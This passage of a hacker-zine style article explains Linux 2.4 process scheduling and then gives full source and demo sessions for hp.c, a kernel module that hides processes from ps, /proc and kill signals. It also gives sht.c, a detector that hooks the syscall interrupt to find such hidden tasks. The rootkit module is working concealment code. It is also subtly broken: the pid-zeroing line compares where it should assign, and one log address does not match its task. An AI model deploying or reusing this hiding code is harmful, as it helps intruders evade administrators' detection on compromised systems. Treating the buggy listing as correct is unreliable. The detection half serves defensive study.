typedef struct runqueue runqueue_t;
struct prio_array {
int nr_active;
spinlock_t *lock;
runqueue_t *rq;
unsigned long bitmap[BITMAP_SIZE];
list_t queue[MAX_PRIO];
};
/*
* This is the main, per-CPU runqueue data structure.
*
* Locking rule: those places that want to lock multiple runqueues
* (such as the load balancing or the process migration code), lock
* acquire operations must be ordered by ascending &runqueue.
*/
struct runqueue {
spinlock_t lock;
unsigned long nr_running, nr_switches, expired_timestamp;
task_t *curr, *idle;
prio_array_t *active, *expired, arrays[2];
int prev_nr_running[NR_CPUS];
} ____cacheline_aligned;
static struct runqueue runqueues[NR_CPUS] __cacheline_aligned;
</codesnip src="kernel/sched.c">
We`ll be discussing more about this later.
The cpu time that this child will get; half the parent has goes to
the child (the cpu time is the amout of time the task will get the
processor for itself).
<codesnip src="kernel/fork.c" line=727>
p->time_slice = (current->time_slice + 1) >> 1;
current->time_slice >>= 1;
if (!current->time_slice) {
/*
* This case is rare, it happens when the parent has only
* a single jiffy left from its timeslice. Taking the
* runqueue lock is not a problem.
*/
current->time_slice = 1;
scheduler_tick(0,0);
}
</codesnip src="kernel/fork.c">
(for the neophytes, ">> 1" is the same as "/ 2")
Next we get the tasklist lock for write to place the new process in
the linked list and pidhash list
<codesnip src="kernel/fork.c" line=752>
write_lock_irq(&tasklist_lock);
.......
SET_LINKS(p);
hash_pid(p);
nr_threads++;
write_unlock_irq(&tasklist_lock);
</codesnip src="kernel/fork.c">
and release the lock. include/linux/sched.h has these macro and inline
functions, and the struct task_struct also:
<codesnip src="include/linux/sched.h" line=292>
struct task_struct {
.......
task_t *next_task, *prev_task;
.......
task_t *pidhash_next;
task_t **pidhash_pprev;
</codesnip src="include/linux/sched.h">
<codesnip src="include/linux/sched.h" line=532>
#define PIDHASH_SZ (4096 >> 2)
extern task_t *pidhash[PIDHASH_SZ];
#define pid_hashfn(x) ((((x) >> 8) ^ (x)) & (PIDHASH_SZ - 1))
static inline void hash_pid(task_t *p)
{
task_t **htable = &pidhash[pid_hashfn(p->pid)];
if((p->pidhash_next = *htable) != NULL)
(*htable)->pidhash_pprev = &p->pidhash_next;
*htable = p;
p->pidhash_pprev = htable;
}
</codesnip src="include/linux/sched.h">
<codesnip src="include/linux/sched.h" line=863>
#define SET_LINKS(p) do { \
(p)->next_task = &init_task; \
(p)->prev_task = init_task.prev_task; \
init_task.prev_task->next_task = (p); \
init_task.prev_task = (p); \
(p)->p_ysptr = NULL; \
if (((p)->p_osptr = (p)->p_pptr->p_cptr) != NULL) \
(p)->p_osptr->p_ysptr = p; \
(p)->p_pptr->p_cptr = p; \
} while (0)
</codesnip src="include/linux/sched.h">
So, pidhash is an array of pointers to task_structs which hash to
the same pid, and are linked by means of pidhash_next/pidhash_pprev; this
list is used by syscalls which get a pid as parameter, like kill() or
ptrace(). The linked list is used by the /proc VFS and not only.
Last, the magic:
<codesnip src="kernel/fork.c" line=776>
#define RUN_CHILD_FIRST 1
#if RUN_CHILD_FIRST
wake_up_forked_process(p); /* do this last */
#else
wake_up_process(p); /* do this last */
#endif
</codesnip src="kernel/fork.c">
this is a function in kernel/sched.c which places the task_t (task_t is a
typedef to a struct task_struct) in the cpu runqueue.
<codesnip src="kernel/sched.c" line=347>
void wake_up_forked_process(task_t * p)
{
.......
p->state = TASK_RUNNING;
.......
activate_task(p, rq);
</codesnip src="kernel/sched.c">
So lets walk through a process that after it gets the cpu calls just
sys_nanosleep (sleep() is just a frontend) and jumps in a never ending loop,
ill try to make this short. After setting the task state to
TASK_INTERRUPTIBLE (makes sure we get off the cpu queue when schedule() is
called), sys_nanosleep() calls upon another function, schedule_timeout()
which sets us on a timer queue by means of add_timer() which makes sure we
get woken up (that we get back on the cpu queue) after the delay has
passed and effectively relinquishes the cpu by calling shedule() (most
blocking syscalls implement this by putting the process to sleep until the
perspective resource is available).
<codesnip src="kernel/timer.c" line=877>
asmlinkage long sys_nanosleep(struct timespec *rqtp, struct timespec *rmtp)
{
.......
current->state = TASK_INTERRUPTIBLE;
expire = schedule_timeout(expire);
</codesnip src="kernel/timer.c">
<codesnip src="kernel/timer.c" line=819>
signed long schedule_timeout(signed long timeout)
{
struct timer_list timer;
.......
init_timer(&timer);
timer.expires = expire;
timer.data = (unsigned long) current;
timer.function = process_timeout;
add_timer(&timer);
schedule();
</codesnip src="kernel/timer.c">
If you want to read more about timers look into [7].
Next, schedule() takes us off the runqueue since we already arranged
to be set on again there later by means of timers.
<codesnip src="kernel/sched.c" line=744>
asmlinkage void schedule(void)
{
.......
deactivate_task(prev, rq);
</codesnip src="kernel/sched.c">
(remember that wake_up_forked_process() called activate_task() to place us
on the active run queue). In case there are no tasks in the active queue
it tryes to get some from the expired array as it needs to set up for
another task to run.
<codesnip src="kernel/sched.c" line=784>
if (unlikely(!array->nr_active)) {
/*
* Switch the active and expired arrays.
*/
.......
</codesnip src="kernel/sched.c">
Then finds the first process there and prepares for the switch (if it
doesnt find any it just leaves the current task running).
<codesnip src="kernel/sched.c" line=805>
context_switch(prev, next);
</codesnip src="kernel/sched.c">
This is an inline function that prepares for the switch which will get done
in __switch_to() (switch_to() is just another inline function, sort of)
<codesnip src="kernel/sched.c" line=400>
static inline void context_switch(task_t *prev, task_t *next)
</codesnip src="kernel/sched.c">
<codesnip src="include/asm-i386/system.h" line=15>
#define prepare_to_switch() do { } while(0)
#define switch_to(prev,next,last) do { \
asm volatile("pushl %%esi\n\t" \
"pushl %%edi\n\t" \
"pushl %%ebp\n\t" \
"movl %%esp,%0\n\t" /* save ESP */ \
"movl %3,%%esp\n\t" /* restore ESP */ \
"movl $1f,%1\n\t" /* save EIP */ \
"pushl %4\n\t" /* restore EIP */ \
"jmp __switch_to\n" \
"1:\t" \
"popl %%ebp\n\t" \
"popl %%edi\n\t" \
"popl %%esi\n\t" \
:"=m" (prev->thread.esp),"=m" (prev->thread.eip), \
"=b" (last) \
:"m" (next->thread.esp),"m" (next->thread.eip), \
"a" (prev), "d" (next), \
"b" (prev)); \
} while (0)
</codesnip src="include/asm-i386/system.h">
Notice the "jmp __switch_to" inside all that assembly code that
simply arranges the arguments on the stack.
<codesnip src="arch/i386/kernel/process.c" line=682>
void __switch_to(struct task_struct *prev_p, struct task_struct *next_p)
{
</codesnip src="arch/i386/kernel/process.c">
context_switch() and switch_to() causes what is known as a context switch
(hence the name) which in not so many words is giving the processor and
memory control to another task.
But enough of this; now what happends when we jump in the never
ending loop. Well, its not actually a never ending loop, if it would be
your computer would just hang. What actually happends is that your task
gets the cpu taken away from it every once in a while and gets it back
after some other tasks get time to run (theres queueing mechanisms that
let tasks share the cpu based on theire priority, if our task would have
a real time priority it would have to release the cpu manualy by
sched_yeld()). So how exactly is this done; lets talk a bit about the
timer interrupt first coz its closely related.
This is a function like most things are in the linux kernel, and its
described in a struct
<codesnip src="arch/i386/kernel/time.c" line=556>
static struct irqaction irq0 = { timer_interrupt, SA_INTERRUPT, 0,
"timer", NULL, NULL};
</codesnip src="arch/i386/kernel/time.c">
and setup in time_init.
<codesnip src="arch/i386/kernel/time.c" line=635>
void __init time_init(void)
{
.......
#ifdef CONFIG_VISWS
.......
setup_irq(CO_IRQ_TIMER, &irq0);
#else
setup_irq(0, &irq0);
#endif
</codesnip src="arch/i386/kernel/time.c">
After this, every timer click, timer_interrupt() is called and at some
point calls do_timer_interrupt()
<codesnip src="arch/i386/kernel/time.c" line=466>
static void timer_interrupt(int irq, void *dev_id, struct pt_regs *regs)
{
.......
do_timer_interrupt(irq, NULL, regs);
</codesnip src="arch/i386/kernel/time.c">
which calls on do_timer (bare with me).
<codesnip src="arch/i386/kernel/time.c" line=393>
static inline void do_timer_interrupt(int irq, void *dev_id,
struct pt_regs *regs)
{
.......
do_timer(regs);
</codesnip src="arch/i386/kernel/time.c">
do_timer() does two things, first update the current process times and
second call on schedule_tick() which precurses schedule() by first taking
the current process of the active array and placing it in the expired
array; this is the place where bad processes (the dirty hogs :-) get
their cpu taken away from them.
<codesnip src="kernel/timer.c" line=665>
void do_timer(struct pt_regs *regs)
{
(*(unsigned long *)&jiffies)++;
#ifndef CONFIG_SMP
/* SMP process accounting uses the local APIC timer */
update_process_times(user_mode(regs));
#endif
</codesnip src="kernel/timer.c">
<codesnip src="kernel/timer.c" line=578>
/*
* Called from the timer interrupt handler to charge one tick to the
* current process. user_tick is 1 if the tick is user time, 0 for system.
*/
void update_process_times(int user_tick)
{
.......
update_one_process(p, user_tick, system, cpu);
scheduler_tick(user_tick, system);
}
</codesnip src="kernel/timer.c">
<codesnip src="kernel/sched.c" line=663>
/*
* This function gets called by the timer code, with HZ frequency.
* We call it with interrupts disabled.
*/
void scheduler_tick(int user_tick, int system)
{
.......
/* Task might have expired already, but not scheduled off yet */
if (p->array != rq->active) {
p->need_resched = 1;
return;
}
.......
if (!--p->time_slice) {
dequeue_task(p, rq->active);
p->need_resched = 1;
.......
if (!TASK_INTERACTIVE(p) || EXPIRED_STARVING(rq)) {
.......
enqueue_task(p, rq->expired);
} else
enqueue_task(p, rq->active);
}
</codesnip src="kernel/sched.c">
Notice the "need_resched" field of the task struct getting set; now the
ksoftirqd() task which is a kernel thread will catch this process and call
schedule()
[root@absinth root]# ps aux | grep ksoftirqd
root 3 0.0 0.0 0 0 ? SWN 11:45 0:00 [ksoftirqd_CPU0]
<codesnip src="kernel/softirq.c" line=398>
__init int spawn_ksoftirqd(void)
{
.......
for (cpu = 0; cpu < smp_num_cpus; cpu++) {
if (kernel_thread(ksoftirqd, (void *) (long) cpu,
CLONE_FS | CLONE_FILES | CLONE_SIGNAL) < 0)
printk("spawn_ksoftirqd() failed for cpu %d\n", cpu);
.......
__initcall(spawn_ksoftirqd);
</codesnip src="kernel/softirq.c">
<codesnip src="kernel/softirq.c" line=361>
static int ksoftirqd(void * __bind_cpu)
{
.......
for (;;) {
.......
if (current->need_resched)
schedule();
.......
</codesnip src="kernel/softirq.c">
And if all this seems bogling to you dont worry, just walk through
the kernel sources again from the begining and try to understand more than
im explaining here, no one expects you to understand from the first read
through such a complicated process like the linux scheduling.. remeber that
the cookie lies in the details ;-) you can read more about the linux
scheduler in [7], [8] and [9]
Every cpu has its own runqueue, so apply the same logic for SMP;
So you can see how a process can be on any number of lists waiting
for execution, and if its not on the linked task_struct list we`re in big
trouble trying to find it. The linked and pidhash lists are NOT used by
the schedule() code to run your program as you saw, some syscalls do use
these (ptrace, alarm, the timers in general which use signals and all
calls that use a pid - for the pidhash list)
Another note to the reader..all example progs from the _attacking_
section will be anemic modules, no dev/kmem for you since i dont want my
work to wind up in some lame rk that would only contribute to wrecking the
net, although kmem counterparts have been developed and tested to work
fine, and also, with modules we are more portable, and our goal is to
present working examples that teach and dont krash your kernel; the
countering section will not have a kmem enabled prog simply because I'm
lazy and not in the mood to mess with elf relocations (yup to loop the
list in a reliable way we have to go in kernel with the code)..
I'll be providing a kernel patch though for those not doing modules.
You should know that if any modules give errors like
"hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg"
when inserting, this is a "feature" (heh) so that you wont have to rmmod
it, the modules do the job theyre supposed to.
--[ 3 - abusing the silence ( attacking )
If you dont have the IQ of a windoz admin, it should be pretty clear
to you by now where we are going with this. Oh im sorry i meant to say
"Windows (TM) admin (TM)" but the insult still goes. Since the linked list
and pidhash have no use to the scheduler, a program, a task in general
(kernel threads also) can run happy w/o them. So we remove it from there
with REMOVE_LINKS/unhash_pid and if youve been a happy hacker looking at
all of the sources ive listed you know by now what these 2 functions do.
All that will suffer from this operation is the IPC methods (Inter Process
Comunications); heh well were invisible why the fuck would we answer if
someone asks "is someone there ?" :) however since only the linked list is
used to output in ps and alike we could leave pidhash untouched so that
kill/ptrace/timers.. will work as usualy. but i dont see why would anyone
want this as a simple bruteforce of the pid space with kill(pid,0) can
uncover you.. See pisu program that i made that does just that but using 76
syscalls besides kill that "leak" pid info from the two list structures. So
you get the picture, right ?
hp.c is a simple module to hide a task:
[root@absinth ksched]# gcc -c -I/$LINUXSRC/include src/hp.c -o src/hp.o
[Method 1]
Now to show you what happends when we unlink the process from certain
lists; first from the linked list
[root@absinth ksched]# ps aux | grep sleep
root 1129 0.0 0.5 1848 672 pts/4 S 22:00 0:00 sleep 666
root 1131 0.0 0.4 1700 600 pts/2 R 22:00 0:00 grep sleep
[root@absinth ksched]# insmod hp.o pid=`pidof sleep` method=1
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
[root@absinth ksched]# tail -2 /var/log/messages
Mar 13 22:02:50 absinth kernel: [HP] address of task struct for pid
1129 is 0xc0f44000
Mar 13 22:02:50 absinth kernel: [HP] removing process links
[root@absinth ksched]# ps aux | grep sleep
root 1140 0.0 0.4 1700 608 pts/2 S 22:03 0:00 grep sleep
[root@absinth ksched]# insmod hp.o task=0xc0f44000 method=1
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
[root@absinth ksched]# tail -1 /var/log/messages
Mar 13 22:03:53 absinth kernel: [HP] unhideing task at addr 0xc0f44000
Mar 13 22:03:53 absinth kernel: [HP] setting process links
[root@absinth ksched]# ps aux | grep sleep
root 1129 0.0 0.5 1848 672 pts/4 S 22:00 0:00 sleep 666
root 1143 0.0 0.4 1700 608 pts/2 S 22:04 0:00 grep sleep
[root@absinth ksched]#
[Method 2] (actualy an added enhacement to method 1)
Point made. Now from the hash list
[root@absinth ksched]# insmod hp.o pid=`pidof sleep` method=2
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
[root@absinth ksched]# tail -2 /var/log/messages
Mar 13 22:07:04 absinth kernel: [HP] address of task struct for pid 1129
is 0xc0f44000
Mar 13 22:07:04 absinth kernel: [HP] unhashing pid
[root@absinth ksched]# insmod hp.o task=0xc0f44000 method=2
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
[root@absinth ksched]# tail -1 /var/log/messages
Mar 13 22:07:18 absinth kernel: [HP] unhideing task at addr 0xc0f44000
Mar 13 22:07:18 absinth kernel: [HP] hashing pid
[root@absinth ksched]# kill -9 1129
[root@absinth ksched]#
So upon removing from the hash list the process also becomes invulnerable
to kill signals and any other syscalls that use the hash list for that
matter. This also hides your task from methods of uncovering like
kill(pid,0) which chkrootkit [10] uses.
* methods 1 and 2 arent that good at hideing shells since most have builtin
job control and that requires a working find_task_by_pid() and
for_each_task() (look at sys_setpgid() sources), however, if you know how
to disable that it works just fine :P ok ill give you a hint, make the
standard output/input not a terminal.
[Method 3]
But this is kids stuff; lets abuse the way the function that generates the
pid list for the /proc VFS works.
<codesnip src="fs/proc/base.c" line=1057>
static int get_pid_list(int index, unsigned int *pids)
{
.......
for_each_task(p) {
.......
if (!pid)
continue;
</codesnip src="fs/proc/base.c">
Have you spoted the not ? :-) cmon its easy, just make our pid 0 and we
wont get listed (pid 0 tasks are of a special kernel breed and thats why
they dont get listed there - actualy the kernel itself, the first "task"
and its cloned children like the swapper); also since we are changing the
pid but not rehashing the pid position in the hash list all searches for
pid 0 will go to the wrong hash and all searches for our old pid will
find a task with a pid of 0, well it will fail each time. An interesting
side effect of having pid 0 is that the task can call clone() [11] with a
flag of CLONE_PID, effectively spawning hidden children as well;
aint that a threat? The old pid can be recovered from tgid member of the
task_struct since getpid() does it so can we, and moreover this method
is so safe to do from user space since we arent complicating with
possible race conditions screwing with the task list pointers. Well safe
as long as your process doesnt exit as we are just changing its pid..
<codesnip src="kernel/timer.c" line=710>
asmlinkage long sys_getpid(void)
{
/* This is SMP safe - current->pid doesn't change */
return current->tgid;
}
</codesnip src="kernel/timer.c">
btw if we change only the pid to 0 there will be no danger that another
process migth be assigned the same pid we _had_ because in the get_pid()
func theres a check for tgid also, which we leave untouched and use to
restore the pid (just read the source for hp.c)
[root@absinth ksched]# ps aux | grep sleep
root 1991 0.2 0.5 1848 672 pts/7 S 19:13 0:00 sleep 666
root 1993 0.0 0.4 1700 608 pts/6 S 19:13 0:00 grep sleep
[root@absinth ksched]# insmod hp.o pid=`pidof sleep` method=4
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
[root@absinth ksched]# tail -2 /var/log/messages
Mar 16 19:14:07 absinth kernel: [HP] address of task struct for pid 1991
is 0xc30f0000
Mar 16 19:14:07 absinth kernel: [HP] zerofing pid
[root@absinth ksched]# ps aux | grep sleep
root 1999 0.0 0.4 1700 600 pts/6 R 19:14 0:00 grep sleep
[root@absinth ksched]# kill -9 1991
bash: kill: (1991) - No such process
[root@absinth ksched]# insmod hp.o task=0xc30f0000 method=4
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
[root@absinth ksched]# tail -1 /var/log/messages
Mar 16 19:14:47 absinth kernel: [HP] unhideing task at addr 0xc0f44000
Mar 16 19:14:47 absinth kernel: [HP] reverting zero pid to 1991
[root@absinth ksched]# ps aux | grep sleep
root 1991 0.0 0.5 1848 672 pts/7 S 19:13 0:00 sleep 666
[root@absinth ksched]#
See how cool is this? I might say that all this article is about is
zerofing pids in task_structs :-)
(and you only have to change 2 bytes at most to hide a process !)
* your task should never call exit when having pid 0 or it will suck from
do_exit which is called by sys_exit
<codesnip src="kernel/exit.c" line=480>
NORET_TYPE void do_exit(long code)
{
.......
if (!tsk->pid)
panic("Attempted to kill the idle task!");
<codesnip src="kernel/exit.c">
That is if you hide your shell like this be sure to unhide it (set its pid
to something) before you `exit`.. or , dont mind me and exit the whole
system hehe. In a compromised environment do_exit could have that
particular part overwritten with nops (no operation instruction - an
asm op code that does nothing).
You can use for the method field when insmoding hp.o any combination of the
3 bit flags presented
--[ 4 - can you scream ? ( countering)
Should you scream? Well, yes. Detecting the first method can be a
waiting game or at best, a hide and seek pain-in-the-ass inside all the
waiting queues around the kernel, while holding the big lock. But no, its
not imposible to find a hidden process even if it could mean running a rt
task that will take over the cpu(s) and binary search the kmem device.
This could be done as a brute force for certain magic numbers inside the
task struct whithin the memory range one could get allocated and look if
its valid with something like testing its virtual memory structures but
this has the potential to be very unreliable (and ..hard).
Finding tasks that are hiden this way is a pain as no other structure
contains a single tasks list so that in a smooth soop we could itterate and
see what is not inside the linked list and pidhash and if there would be we
wouldve probably removed out task from there too hehe. If you think by now
this will be the ultimate kiddie-method, hope no more, were smart people,
for every problem we release the cure also. So there is a ..way :) .. a
clever way exploiting what every process desires, the need to run ;-} *evil
grin*
This method can take a while however, if a process blocks on some call like
listen() since we only catch them when they _run_ while being _hidden_.
Other checks could verify the integrity of the linked list, like the
order in the list and the time stamps or something (know that ptrace() [12]
fucks with this order).
To backdoor switch_to (more exactly __switch_to, remember the first
is a define) is a bit tricky from a module, however ive done it but it
doesnt seem very portable so instead, from a module, we hook the syscall
gate thus exploiting the *need to call* of programs :-), which is very
easy, and every program in order to run usefuly has to call some syscalls,
right?
But so that you know, to trap into schedule() from a module (or from kmem
for that matter) we find the address of __switch_to(). We could do this
two ways, either do some pattern matching for calls inside schedule() or
notice that sys_fork() is right after __switch_to() and do some math.
After that just insert a hook at the end of __switch_to (doing it before
__switch_to would make our code execute in unsafe environment - krash -
since its a partialy switched environment).
So this is what the module does, the kernel patch, sh.patch uses the
mentioned need to run of processes by inserting a call inside the
schedule() function which was described earlier and checks the structs
against the current process.
So how do we deal with _real_ pid 0 tasks, that we dont catch them
as being rogues? Remember what ive said about the pid 0 tasks being a
special breed, they are kernel threads in effect so we can differentiate
them from normal user land processes because they have no allocated memory
struct / no userland memory dooh! / and no connected binary format struct
for that matter (a special case would be when one would have its evil task
as a mangled kernel thread but i guess we could tell even then by name or
the number of active kernel threads if its an evil one).
Anyway for an example with the *need ro call* method.. For this we launch a
bash session so that we can _put it on the run queue_ by writing some
command on it.. like i said, we catch these tasks only when they do
syscalls
[root@absinth ksched]# gcc -c -I/$LINUXSRC/include src/sht.c -o src/sht.o
[root@absinth ksched]# insmod sht.o
[root@absinth ksched]# insmod hp.o pid=`pidof hidden_bash` method=1
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
( now we type some command in the hidden bash session to make it run )
[root@absinth root]# tail /var/log/messages
.......
Jul 8 19:43:26 absinth kernel: [SHT] task pid 562 <bash> task addr
0xc72f0000 syscall 175 - TASK IS HIDDEN ( NOT ON LINKED LIST / on pidhash
list / pid is valid )
Jul 8 19:43:26 absinth kernel: [SHT] task pid 562 <bash> task addr
0xc72f0000 syscall 3 - TASK IS HIDDEN ( NOT ON LINKED LIST / on pidhash
list / pid is valid )
[root@absinth ksched]# rmmod sht
Voila. It works.. it also looks for unhashed or pid 0 tasks; the only
problem atm is the big output which ill sort out with some list hashed by
the task address/pid/processor/start_time so that we only get 1 warning
per hidden process :-/
To use the kernel patch instead of the module change to the top of your
linux source tree and apply it with `patch -p0 < sh.patch` (if you have a
layout like /usr/src/linux/, cd into /usr/src/). The patch is for the
2.4.30 branch (although it migth work with other 2.4 kernels; if you need
it for other kernel versions check with me) and it works just like the
module just that it hooks directly into the schedule() function and so can
catch sooner any hidden tasks.
Now if some of you are thinking at this point why make public
research like this when its most likely to get abused, my answer is
simple, dont be an ignorant, if i have found most of this things on my own
I dont have any reason to believe others havent and its most likely to
already been used in the wild, maybe not that widespead but lacking the
right tools to peek in the kernel memory, we would never know if and how
used it is already. So shut your suck hole .. the only ppl hurting from
this are the underground hackers, but then again they are brigth people
and other more leet methods are ahead :-) just think about hideing a task
inside another task (sshutup ubra !! lol no peeking)
.. you will read about it probably in another small article
--[ 5 - references
[1] manual pages for ps(1) , top(1) , pstree(1) and the proc(5) interface
http://linux.com.hk/PenguinWeb/manpage.jsp?section=1&name=ps
http://linux.com.hk/PenguinWeb/manpage.jsp?section=1&name=top
http://linux.com.hk/PenguinWeb/manpage.jsp?section=1&name=pstree
http://linux.com.hk/PenguinWeb/manpage.jsp?section=5&name=proc
[2] LRK - Linux Root Kit
by Lord Somer <webmaster@lordsomer.com>
http://packetstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz
[3] LKM HACKING
by pragmatic from THC
http://reactor-core.org/linux-kernel-hacking.html
[4] Syscall redirection without modifying the syscall table
by Silvio Cesare <silvio@big.net.au>
http://www.big.net.au/~silvio/stealth-syscall.txt
http://spitzner.org/winwoes/mtx/articles/syscall.htm
[5] Phrack 59/0x04 - Handling the Interrupt Descriptor Table
by kad <kadamyse@altern.org>
http://www.phrack.org/show.php?p=59&a=4
[6] Phrack 61/0x0e - Kernel Rootkit Experiences
by stealth <stealth@segfault.net>
http://www.phrack.org/show.php?p=61&a=14
[7] Linux kernel internals #Process and Interrupt Management
by Tigran Aivazian <tigran@veritas.com>
http://www.tldp.org/LDP/lki/lki.html
[8] Scheduling in UNIX and Linux
by moz <moz@compsoc.man.ac.uk>
http://www.kernelnewbies.org/documents/schedule/
[9] KernelAnalysis-HOWTO #Linux Multitasking
by Roberto Arcomano <berto@fatamorgana.com>
http://www.tldp.org/HOWTO/KernelAnalysis-HOWTO.html
[10] chkrootkit - CHecK ROOT KIT
by Nelson Murilo <nelson@pangeia.com.br>
http://www.chkrootkit.org/
[11] manual page for clone(2)
http://linux.com.hk/PenguinWeb/manpage.jsp?section=2&name=clone
[12] manual page for ptrace(2)
http://linux.com.hk/PenguinWeb/manpage.jsp?section=2&name=ptrace
--[ 6 - and the game dont stop..
Hei fukers! octavian, trog, slider, raven and everyone else I keep
close with, thanks for being there and wasteing time with me, sometimes I
really need that ; ruffus , nirolf and vadim wtf lets get the old team on
again .. bafta pe oriunde sunteti dudes.
If you notice any typos, mistakes, have anything to communicate with
me feel free make contact.
web - w3.phi.group.eu.org
mail - ubra_phi.group.eu.org
irc - Efnet/Undernet #PHI
* the contact info and web site is and will not be valid/up for a few
weeks while im moving house, sorry ill get things settled ASAP ( that
is up until about august of 2005 ), meanwhile you can get in touch
with me on the email dragosg_personal.ro
--[ 7 - sources
<++> src/Makefile
all: sht.c hp.c
gcc -c -I/EDIT_HERE_YOUR_LINUX_SOURCE_TREE/linux/include sht.c hp.c
<-->
<++> src/hp.c
/*|
* hp - hide pid v1.0.0
* hides a pid using different methods
* ( demo code for hideing processes paper )
*
* syntax : insmod hp.o (pid=pid_no|task=task_addr) [method=0x1|0x2|0x4]
*
* coded in 2004 by ubra from PHI Group
* web - ubra.phi.group.za.org
* mail - ubra_phi.group.za.org
* irc - Efnet/Undernet#PHI
|*/
#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/sched.h>
pid_t pid = 0 ;
struct task_struct *task = 0 ;
unsigned char method = 0x3 ;
int init_module ( ) {
if ( pid ) {
task = find_task_by_pid(pid) ;
printk ( "[HP] address of task struct for pid %i is 0x%p\n" , pid , task ) ;
if ( task ) {
write_lock_irq(&tasklist_lock) ;
if ( method & 0x1 ) {
printk("[HP] removing process links\n") ;
REMOVE_LINKS(task) ;
}
if ( method & 0x2 ) {
printk("[HP] unhashing pid\n") ;
unhash_pid(task) ;
}
if ( method & 0x4 ) {
printk("[HP] zerofing pid\n") ;
task->pid == 0 ;
}
write_unlock_irq(&tasklist_lock) ;
}
} else if ( task ) {
printk ( "[HP] unhideing task at addr 0x%x\n" , task ) ;
write_lock_irq(&tasklist_lock) ;
if ( method & 0x1 ) {
printk("[HP] setting process links\n") ;
SET_LINKS(task) ;
}
if ( method & 0x2 ) {
printk("[HP] hashing pid\n") ;
hash_pid(task) ;
}
if ( method & 0x4 ) {
printk ( "[HP] reverting 0 pid to %i\n" , task->tgid ) ;
task->pid = task->tgid ;
}
write_unlock_irq(&tasklist_lock) ;
}
return 1 ;
}
MODULE_PARM ( pid , "i" ) ;
MODULE_PARM_DESC ( pid , "the pid to hide" ) ;
MODULE_PARM ( task , "l" ) ;
MODULE_PARM_DESC ( task , "the address of the task struct to unhide" ) ;
MODULE_PARM ( method , "b" ) ;
MODULE_PARM_DESC ( method , "a bitwise OR of the method to use , 0x1 - linked list , 0x2 - pidhash , 0x4 - zerofy pid" ) ;
MODULE_AUTHOR("ubra @ PHI Group") ;
MODULE_DESCRIPTION("hp - hide pid v1.0.0 - hides a task with 3 possible methods") ;
MODULE_LICENSE("GPL") ;
EXPORT_NO_SYMBOLS ;
<-->
<++> src/sht.c
/*|
* sht - search hidden tasks v1.0.0
* checks tasks to be visible upon entering syscall
* ( demo code for hideing processes paper )
*
* syntax : insmod sht.o
*
* coded in 2005 by ubra from PHI Group
* web - w3.phi.group.za.org
* mail - ubra_phi.group.za.org
* irc - Efnet/Undernet#PHI
|*/
#define __KERNEL__
#define MODULE
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/sched.h>
struct idta {
unsigned short size ;
unsigned long addr __attribute__((packed)) ;
} ;
struct idt {
unsigned short offl ;
unsigned short seg ;
unsigned char pad ;
unsigned char flags ;
unsigned short offh ;
} ;
unsigned long get_idt_addr ( void ) {
struct idta idta ;
asm ( "sidt %0" : "=m" (idta) ) ;
return idta.addr ;
}
unsigned long get_int_addr ( unsigned int intp ) {
struct idt idt ;
unsigned long idt_addr ;
idt_addr = get_idt_addr() ;
idt = *((struct idt *) idt_addr + intp) ;
return idt.offh << 16 | idt.offl ;
}
void hook_int ( unsigned int intp , unsigned long new_func , unsigned long *old_func ) {
struct idt idt ;
unsigned long idt_addr ;
if ( old_func )
*old_func = get_int_addr(intp) ;
idt_addr = get_idt_addr() ;
idt = *((struct idt *) idt_addr + intp) ;
idt.offh = (unsigned short) (new_func >> 16 & 0xFFFF) ;
idt.offl = (unsigned short) (new_func & 0xFFFF) ;
*((struct idt *) idt_addr + intp) = idt ;
return ;
}
asmlinkage void check_task ( struct pt_regs *regs , struct task_struct *task ) ;
asmlinkage void stub_func ( void ) ;
unsigned long new_handler = (unsigned long) &check_task ;
unsigned long old_handler ;
void stub_handler ( void ) {
asm(".globl stub_func \n"
".align 4,0x90 \n"
"stub_func : \n"
" pushal \n"
" pushl %%eax \n"
" movl $-8192 , %%eax \n"
" andl %%esp , %%eax \n"
" pushl %%eax \n"
" movl -4(%%esp) , %%eax \n"
" pushl %%esp \n"
" call *%0 \n"
" addl $12 , %%esp \n"
" popal \n"
" jmp *%1 \n"
:: "m" (new_handler) , "m" (old_handler) ) ;
}
asmlinkage void check_task ( struct pt_regs *regs , struct task_struct *task ) {
struct task_struct *task_p = &init_task ;
unsigned char on_ll = 0 , on_ph = 0 ;
if ( ! task->mm )
return ;
do {
if ( task_p == task ) {
on_ll = 1 ;
break ;
}
task_p = task_p->next_task ;
} while ( task_p != &init_task ) ;
if ( find_task_by_pid(task->pid) == task )
on_ph = 1 ;
if ( ! on_ll || ! on_ph || ! task->pid )
printk ( "[SHT] task pid %i <%s> task addr 0x%x syscall %i - TASK IS HIDDEN ( %s / %s / %s )\n" , task->pid , task->comm , task , regs->orig_eax , on_ll ? "on linked list" : "NOT ON LINKED LIST" , on_ph ? "on pidhash list" : "NOT ON PIDHASH LIST" , task->pid ? "pid is valid" : "PID IS INVALID" ) ;
return ;
}
int sht_init ( void ) {
hook_int ( 128 , (unsigned long) &stub_func , &old_handler ) ;
printk("[SHT] loaded - monitoring tasks integrity\n") ;
return 0 ;
}
void sht_exit ( void ) {
hook_int ( 128 , old_handler , NULL ) ;
printk("[SHT] unloaded\n") ;
return ;
}
module_init(sht_init) ;
